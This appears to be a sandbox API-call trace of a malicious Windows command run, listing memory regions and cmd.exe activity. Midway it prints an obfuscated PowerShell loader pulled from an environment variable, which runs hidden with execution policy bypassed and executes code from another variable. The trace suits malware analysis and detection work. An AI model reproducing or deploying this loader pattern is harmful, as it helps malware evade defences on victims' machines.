	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 1350
	        start_va = 0x290000
	          end_va = 0x2f6fff
	     entry_point = 0x290000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1351
	        start_va = 0x300000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 1352
	        start_va = 0x4c0000
	          end_va = 0x4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004c0000"
	        filename = ""

Region:
	              id = 1353
	        start_va = 0x4d0000
	          end_va = 0x657fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004d0000"
	        filename = ""

Region:
	              id = 1354
	        start_va = 0x660000
	          end_va = 0x7e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000660000"
	        filename = ""

Region:
	              id = 1355
	        start_va = 0x7f0000
	          end_va = 0x1beffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007f0000"
	        filename = ""

Region:
	              id = 1356
	        start_va = 0x1bf0000
	          end_va = 0x1f32fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001bf0000"
	        filename = ""

Region:
	              id = 1357
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1358
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1359
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1360
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1361
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1362
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1363
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1364
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1365
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1366
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1367
	        start_va = 0x1f40000
	          end_va = 0x203ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f40000"
	        filename = ""

Region:
	              id = 1368
	        start_va = 0x2040000
	          end_va = 0x230efff
	     entry_point = 0x2040000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")


Thread:
	id = 100
	os_tid = 0xb84

	[0058.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fe30 | out: lpSystemTimeAsFileTime=0x14fe30*(dwLowDateTime=0xe58b8530, dwHighDateTime=0x1d475a6)) 
	[0058.852] GetCurrentProcessId () returned 0xb80
	[0058.852] GetCurrentThreadId () returned 0xb84
	[0058.852] GetTickCount () returned 0x1ed5a
	[0058.852] QueryPerformanceCounter (in: lpPerformanceCount=0x14fe38 | out: lpPerformanceCount=0x14fe38*=1813802600000) returned 1
	[0058.853] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0058.853] __set_app_type (_Type=0x1) 
	[0058.853] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0058.853] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0058.854] GetCurrentThreadId () returned 0xb84
	[0058.854] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb84) returned 0x3c
	[0058.854] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.854] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0058.854] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.869] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0058.869] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fdc8 | out: phkResult=0x14fdc8*=0x0) returned 0x2
	[0058.870] VirtualQuery (in: lpAddress=0x14fdb0, lpBuffer=0x14fd30, dwLength=0x30 | out: lpBuffer=0x14fd30*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.870] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fd30, dwLength=0x30 | out: lpBuffer=0x14fd30*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.870] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fd30, dwLength=0x30 | out: lpBuffer=0x14fd30*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.870] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fd30, dwLength=0x30 | out: lpBuffer=0x14fd30*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.870] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fd30, dwLength=0x30 | out: lpBuffer=0x14fd30*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0058.870] GetConsoleOutputCP () returned 0x1b5
	[0058.870] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.870] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0058.870] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.870] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0058.870] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.871] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0058.871] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.871] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0058.871] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.871] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0058.871] GetEnvironmentStringsW () returned 0x1dc6c0*
	[0058.873] FreeEnvironmentStringsW (penv=0x1dc6c0) returned 1
	[0058.873] GetEnvironmentStringsW () returned 0x1dc6c0*
	[0058.875] FreeEnvironmentStringsW (penv=0x1dc6c0) returned 1
	[0058.875] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ec88 | out: phkResult=0x14ec88*=0x44) returned 0x0
	[0058.875] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x18, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.875] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x1, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.875] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x1, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.875] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x0, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x40, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x40, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x40, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.876] RegCloseKey (hKey=0x44) returned 0x0
	[0058.876] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ec88 | out: phkResult=0x14ec88*=0x44) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x40, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x1, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x1, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x0, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x9, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x4, lpData=0x14eca0*=0x9, lpcbData=0x14ec84*=0x4) returned 0x0
	[0058.876] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ec80, lpData=0x14eca0, lpcbData=0x14ec84*=0x1000 | out: lpType=0x14ec80*=0x0, lpData=0x14eca0*=0x9, lpcbData=0x14ec84*=0x1000) returned 0x2
	[0058.876] RegCloseKey (hKey=0x44) returned 0x0
	[0058.876] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4d
	[0058.876] srand (_Seed=0x5be14a4d) 
	[0058.876] GetCommandLineW () returned="cmd.exE    /c %adizY%   "
	[0058.876] GetCommandLineW () returned="cmd.exE    /c %adizY%   "
	[0058.876] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.877] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f746d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0058.877] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.877] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.877] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.877] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.877] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0058.877] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0058.877] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0058.877] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0058.877] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0058.877] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0058.877] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0058.877] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0058.877] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14fa90 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.877] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x14fa90, lpFilePart=0x14fa70 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14fa70*="Desktop") returned 0x19
	[0058.877] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.877] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f7a0 | out: lpFindFileData=0x14f7a0) returned 0x1f748e0
	[0058.877] FindClose (in: hFindFile=0x1f748e0 | out: hFindFile=0x1f748e0) returned 1
	[0058.878] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x14f7a0 | out: lpFindFileData=0x14f7a0) returned 0x1f748e0
	[0058.878] FindClose (in: hFindFile=0x1f748e0 | out: hFindFile=0x1f748e0) returned 1
	[0058.878] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x14f7a0 | out: lpFindFileData=0x14f7a0) returned 0x1f748e0
	[0058.878] FindClose (in: hFindFile=0x1f748e0 | out: hFindFile=0x1f748e0) returned 1
	[0058.878] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.878] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0058.878] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0058.878] GetEnvironmentStringsW () returned 0x1dc6c0*
	[0058.879] FreeEnvironmentStringsW (penv=0x1dc6c0) returned 1
	[0058.879] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.879] GetConsoleOutputCP () returned 0x1b5
	[0058.879] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.879] GetUserDefaultLCID () returned 0x409
	[0058.879] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0058.879] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14fba0, cchData=128 | out: lpLCData="0") returned 2
	[0058.879] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14fba0, cchData=128 | out: lpLCData="0") returned 2
	[0058.879] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14fba0, cchData=128 | out: lpLCData="1") returned 2
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0058.880] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0058.880] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0058.881] GetConsoleTitleW (in: lpConsoleTitle=0x1f74950, nSize=0x104 | out: lpConsoleTitle="cmd.exE    /c %adizY%   ") returned 0x18
	[0058.881] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.881] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0058.881] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0058.881] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0058.881] GetEnvironmentVariableW (in: lpName="adizY", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  |POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     ^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  ") returned 0xdd
	[0058.882] _wcsicmp (_String1="EchO", _String2=")") returned 60
	[0058.882] _wcsicmp (_String1="FOR", _String2="EchO") returned 1
	[0058.882] _wcsicmp (_String1="FOR/?", _String2="EchO") returned 1
	[0058.882] _wcsicmp (_String1="IF", _String2="EchO") returned 4
	[0058.882] _wcsicmp (_String1="IF/?", _String2="EchO") returned 4
	[0058.882] _wcsicmp (_String1="REM", _String2="EchO") returned 13
	[0058.882] _wcsicmp (_String1="REM/?", _String2="EchO") returned 13
	[0058.884] _wcsicmp (_String1="FOR", _String2="POwERsHElL") returned -10
	[0058.884] _wcsicmp (_String1="FOR/?", _String2="POwERsHElL") returned -10
	[0058.884] _wcsicmp (_String1="IF", _String2="POwERsHElL") returned -7
	[0058.884] _wcsicmp (_String1="IF/?", _String2="POwERsHElL") returned -7
	[0058.884] _wcsicmp (_String1="REM", _String2="POwERsHElL") returned 2
	[0058.884] _wcsicmp (_String1="REM/?", _String2="POwERsHElL") returned 2
	[0058.887] _pipe (in: _PtHandles=0x1f74fd0, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x1f74fd0) returned 0
	[0058.887] _dup (_FileHandle=1) returned 5
	[0058.888] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0
	[0058.888] _close (_FileHandle=4) returned 0
	[0058.888] _wcsicmp (_String1="EchO", _String2="DIR") returned 1
	[0058.888] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15
	[0058.888] _wcsicmp (_String1="EchO", _String2="DEL") returned 1
	[0058.888] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15
	[0058.888] _wcsicmp (_String1="EchO", _String2="COPY") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="CD") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13
	[0058.888] _wcsicmp (_String1="EchO", _String2="REN") returned -13
	[0058.888] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0
	[0058.888] _wcsicmp (_String1="EchO", _String2="DIR") returned 1
	[0058.888] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15
	[0058.888] _wcsicmp (_String1="EchO", _String2="DEL") returned 1
	[0058.888] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15
	[0058.888] _wcsicmp (_String1="EchO", _String2="COPY") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="CD") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2
	[0058.888] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13
	[0058.888] _wcsicmp (_String1="EchO", _String2="REN") returned -13
	[0058.889] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0
	[0058.889] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.889] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51
	[0058.889] SetErrorMode (uMode=0x0) returned 0x8001
	[0058.889] SetErrorMode (uMode=0x1) returned 0x0
	[0058.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x249760, lpFilePart=0x14f700 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14f700*="system32") returned 0x13
	[0058.889] SetErrorMode (uMode=0x8001) returned 0x1
	[0058.889] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1
	[0058.890] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0058.893] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x14f470, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f470) returned 0x1dc520
	[0058.893] FindClose (in: hFindFile=0x1dc520 | out: hFindFile=0x1dc520) returned 1
	[0058.893] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0058.893] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0058.893] GetConsoleTitleW (in: lpConsoleTitle=0x14f9c0, nSize=0x104 | out: lpConsoleTitle="cmd.exE    /c %adizY%   ") returned 0x18
	[0058.894] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f778, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f738 | out: lpAttributeList=0x14f778, lpSize=0x14f738) returned 1
	[0058.894] UpdateProcThreadAttribute (in: lpAttributeList=0x14f778, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f728, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f778, lpPreviousValue=0x0) returned 1
	[0058.894] GetStartupInfoW (in: lpStartupInfo=0x14f890 | out: lpStartupInfo=0x14f890*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd.exE    /c %adizY%   ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="#-=set ", _MaxCount=0x7) returned 64
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="#;=seGC", _MaxCount=0x7) returned 64
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="$'=seGC", _MaxCount=0x7) returned 63
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="$+=seGC", _MaxCount=0x7) returned 63
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="$_'}=se", _MaxCount=0x7) returned 63
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="',`+=se", _MaxCount=0x7) returned 60
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="']=set ", _MaxCount=0x7) returned 60
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="'`#=set", _MaxCount=0x7) returned 60
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="'{=seGC", _MaxCount=0x7) returned 60
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="'}_-=se", _MaxCount=0x7) returned 60
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="*.@=set", _MaxCount=0x7) returned 57
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="*[-,=se", _MaxCount=0x7) returned 57
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="*{[=seG", _MaxCount=0x7) returned 57
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="*}=set ", _MaxCount=0x7) returned 57
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="+,\\=set", _MaxCount=0x7) returned 56
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="+.@#=se", _MaxCount=0x7) returned 56
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="+?.,=se", _MaxCount=0x7) returned 56
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="+~}{=eo", _MaxCount=0x7) returned 56
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=",@$[=se", _MaxCount=0x7) returned 55
